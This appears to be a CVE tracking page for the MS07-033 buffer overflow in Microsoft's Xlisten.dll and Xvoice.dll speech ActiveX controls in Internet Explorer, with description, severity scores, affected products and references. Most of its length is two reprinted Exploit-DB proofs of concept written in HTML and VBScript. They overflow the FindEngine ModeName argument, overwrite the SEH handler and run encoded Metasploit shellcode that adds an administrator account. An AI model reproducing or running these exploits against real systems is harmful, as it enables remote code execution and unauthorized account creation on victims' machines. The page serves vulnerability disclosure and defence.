Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Multiple buffer overflows in the (1) ActiveListen (Xlisten.dll) and (2) ActiveVoice (Xvoice.dll) speech controls, as used by Microsoft Internet Explorer 5.01, 6, and 7, allow remote attackers to execute arbitrary code via a crafted ActiveX object that triggers memory corruption, as demonstrated via the ModeName parameter to the FindEngine function in ACTIVEVOICEPROJECTLib.DirectSS.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 4065
Publication date : 2007-06-12 22h00 +00:00
Author : rgod
EDB Verified : Yes
<!--
01/06/2007 23.19.50
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll)
/ DirectSpeechRecognition Module (Xlisten.dll)
remote buffer overflow exploit / 2k sp4 seh version
both the dlls are located in %SystemRoot%\speech folder
and they are vulnerable to the same issue.
while on 2k it depends on activex settings, under xp they are both
set to "safe for a trusted caller", i.e. Internet Explorer
registers after that some chars are passed to ModeName argument
of FindEgine method and seh handler is overwritten:
EAX 00000000
ECX 00000000
EDX 02770608
EBX 6535F590 XVoice.6535F590
ESP 0012DBB8 UNICODE "AAAA...
EBP 00410041 IEXPLORE.00410041
ESI 001921BC
EDI 0012DBF8 UNICODE "AAAA...
EIP 00410041 IEXPLORE.00410041
I succesfully run this code on win2k, patching the shellcode
with the venetian technique, adding an Administrator account,
against IE6.
Under xp, with predefined settings, Internet Explorer immediately crashes
without warning the user first, and it's still possible running arbitrary
code, it depends on jumpable Unicode addresses loaded in memory
by A. Micalizzi (aka rgod)
site: retrogod.altervista.org
***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:
http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx
the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp
is still distributed with the kill bit not set
-->
<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>
targetFile = "C:\WINNT\speech\XVoice.dll"
memberName = "FindEngine"
progid = "ACTIVEVOICEPROJECTLib.DirectSS"
argCount = 28
REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p'
scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c")
nop1 = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40")
c1 = unescape("%6E") : REM add byte ptr esi, ch (as nop)
c2 = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi
c3 = unescape("%6E%40%6E%05%18%09") : REM add eax
c4 = unescape("%6E%40%6E%2d%11%09") : REM sub eax
c5 = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice
code = nop1 & c1 & c2 & c3 & c4 & c5 & _
unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40")
seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition
suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment
EngineID="default"
MfgName="default"
ProductName="default"
ModeID="default"
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style="default"
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1
DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures
</script>
</html>
# milw0rm.com [2007-06-13]
Exploit Database EDB-ID : 4066
Publication date : 2007-06-12 22h00 +00:00
Author : rgod
EDB Verified : Yes
<!--
6.30 10/06/2007
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)
/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)
remote buffer overflow exploit/ xp sp2 version
both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6
by A. Micalizzi (aka rgod )
this is dedicated to Sara, and greetings to shinnai, a good comrade
***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:
http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx
the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp
is still distributed with the kill bit not set
-->
<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>
REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP
eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))
suntzu = string(888,"A") + ebp + eip + eax + jnk
bufferI = string(9999999,"X")
bufferII = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV = string(9999999,"O")
EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1
DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures
</script>
</html>
# milw0rm.com [2007-06-13]
Products Mentioned
Configuraton 0
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.01
- Microsoft>>Internet_explorer >> Version 5.01 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Configuraton 0
Microsoft>>Windows_2003_server >> Version sp1
Microsoft>>Windows_2003_server >> Version sp2
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version *
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
- Microsoft>>Windows_xp >> Version - (Open CPE detail)
Microsoft>>Windows_xp >> Version *
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7.0
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
Configuraton 0
Microsoft>>Windows_2003_server >> Version *
- Microsoft>>Windows_2003_server >> Version - (Open CPE detail)
- Microsoft>>Windows_2003_server >> Version - (Open CPE detail)
- Microsoft>>Windows_2003_server >> Version - (Open CPE detail)
- Microsoft>>Windows_2003_server >> Version - (Open CPE detail)
Microsoft>>Windows_2003_server >> Version *
- Microsoft>>Windows_2003_server >> Version - (Open CPE detail)
Microsoft>>Windows_2003_server >> Version sp1
Microsoft>>Windows_2003_server >> Version sp2
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7.0
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
Configuraton 0
Microsoft>>Windows_vista >> Version *
- Microsoft>>Windows_vista >> Version - (Open CPE detail)
- Microsoft>>Windows_vista >> Version - (Open CPE detail)
Microsoft>>Windows_vista >> Version *
Microsoft>>Internet_explorer >> Version 7.0
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 7.0 (Open CPE detail)
References
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A2031
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-033
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
2025©
tesweb SA
